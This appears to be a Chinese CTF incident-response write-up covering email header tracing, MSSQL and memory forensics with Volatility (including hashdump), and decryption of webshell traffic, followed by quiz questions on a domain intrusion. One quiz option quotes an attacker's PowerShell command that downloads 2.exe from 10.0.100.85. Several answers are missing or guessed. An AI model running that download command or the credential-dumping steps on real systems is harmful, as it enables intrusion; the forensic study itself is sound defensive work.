2024 第一届Solar应急响应

news/2025/1/1 9:42:06/文章来源:https://www.cnblogs.com/Tw0YY/p/18637787

Tw0队伍 writeup

一、简介

欢迎有更好的解题思路一起交流学习。最好能来点写自动化一把梭工具的代码思路，哈哈哈！

二、 解题情况

image-20241228182252314

image-20241228182145169

三、CTF题

签到

题目描述: 本题作为签到题,请给出邮服发件顺序。

Received: from mail.da4s8gag.com ([140.143.207.229])
by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD
for ; Thu, 17 Oct 2024 11:24:01 +0800
X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k
X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=
Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=;
dkim=none; dmarc=none(permerror) header.from=solar.sec
Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])
by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264
for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST)
Date: Thu, 17 Oct 2024 11:24:01 +0800
To: hellosolartest@qq.com
From: 鍏嬪競缃戜俊
Subject:xxxxxxxxxx
Message-Id: 20241017112401.032146@mail.solar.sec
X-Mailer: QQMail 2.x

XXXXXXXXXX

flag格式为flag

题目给出的是邮件源码，每次重新发送邮件，发送、接收双方地址都会在最前面添加上。因此，查看源码文件头信息，可以知道是mail.solar.sec -> mail.da4s8gag.com -> newxmmxszc6-1.qq.com这样的发送顺序。

flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com}

数据库

mssql服务器首先需要用vmware仿真打开，但是还有密码。没有工具的情况下，可以用pe、引导iso光盘绕过密码登录。另外可以用取证软件，获得可以参考的密码Password@123

image-20241228165234747

1.题目附件：mssql、mssql题-备份数据库 请找到攻击者创建隐藏账户的时间

flag格式 如 flag{2024/01/01 00:00:00}

仿真开机后，看到administrator还有一个test$用户，估计这个就是创建的隐藏账户。

打开mssql服务器的日志，筛选事件id4720，最后一条为创建test$用户的记录

image-20241228165443000

2.题目附件：mssql、mssql题-备份数据库 请找到恶意文件的名称

flag格式 如 flag{.}

根据下一题的提示，恶意文件具有外联地址，因此先查看服务器的网络连接信息

image-20241228165702839

在几个外联地址中，重点排查这个未成功连接的记录，另外两个也关注一下。

image-20241228165824527

可以看到xmrig.exe pid 3628是一个miner软件，可以确定为恶意软件。

3.题目附件：mssql、mssql题-备份数据库 请找到恶意文件的外联地址

flag格式 如 flag{1.1.1.1}

根据上一题，可以知道外联地址为203.107.45.167

4.题目附件：mssql、mssql题-备份数据库 请修复数据库

flag格式 如 flag{xxxxx}

5.题目附件：mssql、mssql题-备份数据库 请提交powershell命令中恶意文件的MD5

flag格式 如 flag{xxxxx}

流量分析

1.题目文件：tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击：

黑客疑似删除了webshell后门，小王找到了可能是攻击痕迹的文件但不一定是正确的，请帮他排查一下。
flag格式 flag{xxxx}

test流量包数据少，先看http请求。只有对b.jsp文件的请求，同时wire流量包中也有大量对于此文件的请求，基本确定排查方向为这个jsp文件。

image-20241228170021542

给的附件中，有b_jsp.class文件，但是先别急，看看tomcat下有什么文件

image-20241228170429285

在里面看到相同名称的java文件！（感觉是出题目没有删干净）

image-20241228170517657

查看java文件源码，base64加密部分极为flag

image-20241228170803328

image-20241228170848134

2.题目文件：tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击：

小王拿到了当时被入侵时的流量，其中一个IP有访问webshell的流量，已提取部分放在了两个pcapng中了。请帮他解密该流量。
flag格式 flag{xxxx}

根据上面的java源码分析，加密的过程就是aes加密，默认模式为ecb。

image-20241228171051760

枚举每个流执行的命令，可以得知，7224号数据包执行的是查看flag命令

image-20241228171200752

对应的响应结果

image-20241228171214178

3.题目文件：tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击：

小王拿到了当时被入侵时的流量，黑客疑似通过webshell上传了文件，请看看里面是什么。
flag格式 flag{xxxx}

上传文件，首先排查数据量大的数据包

image-20241228171305679

解密结果，找到pdf文件头

image-20241228171325511

下载后去除文件冗余部分，得到flag

image-20241228171433082

内存取证

根据给出的镜像windows版本应该是2008server，因此只需要用vol2都能解决。内存的许多答案都能在其他检材里面有所体现，所以从其他地方看攻击路径也是种方法，这里只讲在内存中的痕迹。

1.题目文件：SERVER-2008-20241220-162057 请找到rdp连接的跳板地址

flag格式 flag{1.1.1.1}

windows 中，rdp实际是termsvcs 服务。termsvcs 是指 Terminal Services 相关的服务组，这个服务组包括了远程桌面服务、远程桌面配置、远程桌面会话主机等。

因此先查看当前通过cmd启动的程序，

volatility.exe -f SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 cmdline

image-20241228164122347

找到pid为1908，再查看1908对应进程的网络状态

volatility.exe -f SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 netscan

image-20241228164314532

对应连接地址192.168.60.220

2.题目文件：SERVER-2008-20241220-162057请找到攻击者下载黑客工具的IP地址

flag格式 flag{1.1.1.1}

下载地址，通常是通过命令行的命令执行来获取到程序的。因此先对执行过的命令进行排查。

volatility.exe -f SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 cmdscan

image-20241228172149769

很显眼，mimikatz程序出现在命令中，因此，155.94.204.67即为答案

3.题目文件：SERVER-2008-20241220-162057 攻击者获取的“FusionManager节点操作系统帐户（业务帐户）”的密码是什么

flag格式 flag{xxxx}

cmdline中发现，notepad在查看pass文件

image-20241228172713636

查看内存中的文件地址

volatility.exe -f SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 filescan

image-20241228172734998

导出文件

volatility.exe -f SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 dumpfiles -Q 0x7e4cedd0 --dump-dir .\

image-20241228172753250

获得密码

image-20241228172832142

4.题目文件：SERVER-2008-20241220-162057 请找到攻击者创建的用户

flag格式 flag{xxxx}

根据后面hashdump的结果，ASP.NET用户不是常见的用户名，应该为攻击者创建的用户。

或者通过vol的envars，看到此用户的环境变量。

image-20241228173207096

另外需要进一步确定，可以导出内存中的security.evtx日志文件，审计创建用户事件。

5.题目文件：SERVER-2008-20241220-162057 请找到攻击者利用跳板rdp登录的时间

flag格式 flag{2024/01/01 00:00:00}

rdp登录时间查询，因此方向是找rdp相关进程启动的时间。与pid 1908相关进程的信息只有两个

image-20241228171739007

但题目问题是登录时间，因此应该是rdp连接后的剪切板进程时间更可。同时，注意时区+8修改。

flag{2024/12/21 00:15:34}

6. 题目文件：SERVER-2008-20241220-162057 请找到攻击者创建的用户的密码哈希值

flag格式 flag{XXXX}
hashdump命令一把梭

volatility.exe -f SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 hashdump

image-20241228171914240

逆向破解

【题目】加密器逆向，请逆向该加密器，解密机密文件
flag格式 flag

四、理论题

1.哪台服务器是最先沦陷的？(计算机名)

A.sql01

B.sql02

C.web01

D.dc02

对比选项中几个服务器的powershel执行日志，所有服务器开始执行2.exe程序的事件时间中，sql01服务器运行时间最早。

sql01

image-20241228174023732

sql02

image-20241228174048280

web01

image-20241228173956374

2.攻击者创建了一个恶意的程序集，程序集名为？

A.Classlibarry3

B.CmdExec

C.Classlibarry1

D.Classlibarry2

第一题日志记录中，关键字为经典，因此猜测选c

3.攻击者利用程序集第一次执行的命令是什么？

A.powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe
B.powershell -c C:/windows/tasks/2.exe
C.cmd.exe /c powershell -c C:/windows/tasks/2.exe
D.cmd.exe /c powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe

对于所有powershell日志记录进行排查C:/windows/tasks/2.exe关键词，只有A选项。

4.攻击者新建的用户是什么？

A.administrator

B.admin

C.test$

D.sql01

审计sql01服务器的安全日志，事件id4720，创建新用户为admin

image-20241228174304616

5.攻击者第一次远程登陆的用户是什么？

A.administrator

B.admin

C.test$

D.sql01

对用户的登录日志进行筛选，第一次登录为sql01

image-20241228174619048

6.攻击者的计算机名是什么？

A.Kali

B.sql01

C.sql02

D.dc02

7.攻击者第一次登陆第二台沦陷服务器数据库使用了什么账户？

A.administrator

B.sql01

C.sql02

D.admin

8.攻击者在第二台服务器上传并执行了木马，紧接着修改了系统的什么的配置？

A.防火墙

B.Defender

C.服务

D.定时任务

9.攻击者可能通过什么漏洞横向到第三台沦陷的服务器？

A. 命令执行 B.文件上传 C.弱口令 D.文件上传+文件读取

10.攻击者通过应用的漏洞获取了第三台沦陷的服务器权限，该权限用户安全 ID为？

A.S-1-5-21-1687412249-3843849720-271823590-1106

B.S-1-5-21-1687412249-3843849720-271823590-500

C.S-1-5-21-1687412249-3843849720-271823590-1001

C.S-1-5-21-1687412249-3843849720-271823590-1100

11.攻击者紧接着调用了一个powershell脚本，该脚本的作用是什么？

A.横向渗透

B.读取凭据

C.远控

D.信息收集

12.攻击者利用了什么工具使web01和dc02进行交互？

A.SpoolSample.exe B.impacket-ntlmrelayx C.Smbclient D.printerbug.py

13.攻击者使用什么漏洞获取dc02的票据（多选）

A.CVE-2021-1675

B.无约束委派

C.约束委派

D.MS14-025

14.攻击者使用什么漏洞获取dc03的票据（多选）

A.CVE-2021-1675

B.约束委派

C.无约束委派

D.MS14-025

15.攻击者ip是什么？

A.10.0.10.41

B.10.0.100.38

C.10.0.10.40

D.10.0.100.85

16.攻击者在第一台服务器执行过一个powershell的脚本，该脚本的名称是什么？

A.pv.ps1

B.powerview.ps1

C.run.ps1

D.Powermad.ps1

17.对第三台沦陷的服务器发起漏洞攻击的IP是什么？

A.10.0.10.41 B.10.0.100.38 C.10.0.10.40 D.B.10.0.100.85

18.攻击者什么时候修改了web01的管理员账号密码？

A.24/12/18 9:59:44.000

B.24/12/18 9:57:42.000

C.24/12/18 9:50:00.000

D.24/12/18 10:08:12.000

19.dc02是一台拥有双网卡的服务器，他的ip分别是？(多选)

A.10.0.100.22 B.10.0.11.6 C.10.0.11.7 D.10.0.10.43

20.该企业有三个域，请问这三个域的域名分别是什么？(多选)

A.set.local B.sub.set.com C.set.com D.solar.com

对于所有日志审计，只有solar.com这个域名找不到。答案即为剩下的是三个域名

21.以下哪些描述正确地反映了这些域之间的信任关系？

A. 林1主域与林1子域之间存在双向信任关系
B. 林1子域可以信任林1主域，但林1主域不能信任林1子域
C. 林2主域与林1子域之间存在双向信任关系
D. 林2主域与林1子域之间不存在信任关系

22.攻击者在获取dc03之后，可能还攻击了哪些服务器？

A.10.0.11.10

B.10.0.11.11

C.10.0.11.8

D.10.0.11.236

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/860893.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Python深度学习（第2版）PDF免费下载

Python深度学习（第2版）PDF免费下载

流行深度学习框架Keras之父执笔，涵盖Transformer架构等进展，文字生，简单方式解释复杂概念，不用一个数学公式，利用直觉自然入门深度学习适读人群 ：想要学习深度学习的学生、职业开发者。 流行深度学习框架Keras之父执笔，涵盖Transformer架构等进展，文字生，简单方式解释…
阅读更多...
尝试 vmware 16.0.0 过虚拟化 过xf虚拟机检测

尝试 vmware 16.0.0 过虚拟化 过xf虚拟机检测

前言最新想在vmware虚拟机上玩xf，网上找了不少教程，于是打算自己尝试下。 如果可以修改成功的话，其价值嘛不可估量。 环境 vmware版本是16.0.0，已安装VMware Tools vmware版本是16.1.2，已安装VMware Tools 虚拟镜像cn_windows_7_professional_with_sp1_vl_build_x64_dvd_u…
阅读更多...
【OpenGL ES】GLSL基础语法

【OpenGL ES】GLSL基础语法

1 前言 ​ 本文将介绍 GLSL 中数据类型、数组、结构体、宏、运算符、向量运算、矩阵运算、函数、流程控制、精度限定符、变量限定符（in、out、inout）、函数参数限定符等内容，另外提供了一个 include 工具，方便多文件管理 glsl 代码，实现代码的精简、复用。 ​ Unity…
阅读更多...
[GPT] LangChain : `LLM` 编程框架

[GPT] LangChain : `LLM` 编程框架

概述：LangChain : LLM (大语言模型)编程框架 基本介绍：LangChainLangChain 就是一个 LLM (大语言模型)编程框架你想开发一个基于 LLM 应用，需要什么组件它都有，直接使用就行； 甚至针对常规的应用流程，它利用链(LangChain中Chain的由来)这个概念已经内置标准化方案了。 本…
阅读更多...
[Python/GPT/AI] Ollama指南

[Python/GPT/AI] Ollama指南

概述：Ollama 基本介绍： OllamaOllama是一个支持在Windows、Linux和MacOS上本地运行大语言模型的工具。它允许用户非常方便地运行和使用各种大语言模型,比如Qwen模型等。 用户只需一行命令就可以启动大语言模型。主要特点跨平台支持Windows、Linux、MacOS系统。 提供了丰富的模…
阅读更多...
空间曲线的线性参数插值

空间曲线的线性参数插值

空间曲线的线性参数插值 ​ 在断层曲面拟合的过程中，发现当解释的空间数据点过于稀疏的化，其断层面拟合的效果较差，我们采用空间曲线线性插值加密的算法，增加插值控制点的数量，改善插值的效果。 1.1 问题描述即算法描述 已知空间三维离散折线 \(l=(p_1,p_2,...,p_i…
阅读更多...
关于PY打包文件的解包的记录(转载为主)

关于PY打包文件的解包的记录(转载为主)

由于这个很玄学,加之很多人的文章太老了,所以我打算写一篇文档. 首先得会打包,才能解包.故贴上打包文章:Python pyinstaller打包exe最完整教程_python exe-CSDN博客 我没细看,稍微看了下原理,不知道对不对.1 简介 python提供了多种方法用于将普通的*.py程序文件编译成exe文件（…
阅读更多...
C++异常处理机制学习(持续更新)

C++异常处理机制学习(持续更新)

具体的异常要回去学中断这些,我打算到时候再细致研究,故而这里只是粗浅地讨论C++的异常处理机制.(其实没太看懂原理和应用的关系,以后还要深入研究)首先我们要探究一下seh异常处理机制,从与其相关的数据结构讲起.TIB结构 TIB （Thread Infoimation Block, 线程信息块）是保存线…
阅读更多...
PYTHON语言学习笔记(基础语法篇)

PYTHON语言学习笔记(基础语法篇)

Python学习笔记 序言 主要是以小甲鱼的视频为主,https://space.bilibili.com/314076440 一些特性 多次调用方法是从左到右.而参数是函数则先执行参数. 一行如果要多个赋值,用;隔开 input().split() IO 看我放在另一个地方的文档.<D:\Document\md\PYTHON\IO.md> 数据类型 …
阅读更多...
2024-11-28《关于mybatis创建的mapper映射路径不对导致的系列报错》

2024-11-28《关于mybatis创建的mapper映射路径不对导致的系列报错》

关于mybatis创建的mapper映射路径不对导致的系列报错今天在写mybatis项目的时候，使用注解发现无法使用别名，添加ResultMap的时候直接报错显示无法解析。 经过百度了好久也是成功的发现了问题的所在，就是这个：这个路径创建的时候我以为创建的是分级目录，实际上创建成为了co…
阅读更多...
2024-11-29《axios获取不到response返回的响应的解决方法》

2024-11-29《axios获取不到response返回的响应的解决方法》

axios获取不到response返回的响应的解决方法今天在用mybatis+vue+axios写登录界面的时候，发现用户名还有密码的数据都能够传输到servlet里，但是当servlet对html界面进行相应的时候，axios却收不到消息，经过长时间的排查后也没有发现问题，终于在今晚的百度下发现了结果，上原…
阅读更多...
如何解决宝塔面板无法登录的问题？

如何解决宝塔面板无法登录的问题？

您好，当您遇到宝塔面板无法登录的问题时，可以按照以下步骤进行排查和解决：确认初始密码：如果您从未修改过宝塔面板的登录密码，默认情况下，宝塔面板的初始密码与服务器的初始密码相同。您可以尝试使用服务器的初始密码进行登录。如果您不确定服务器的初始密码，可以在云服…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023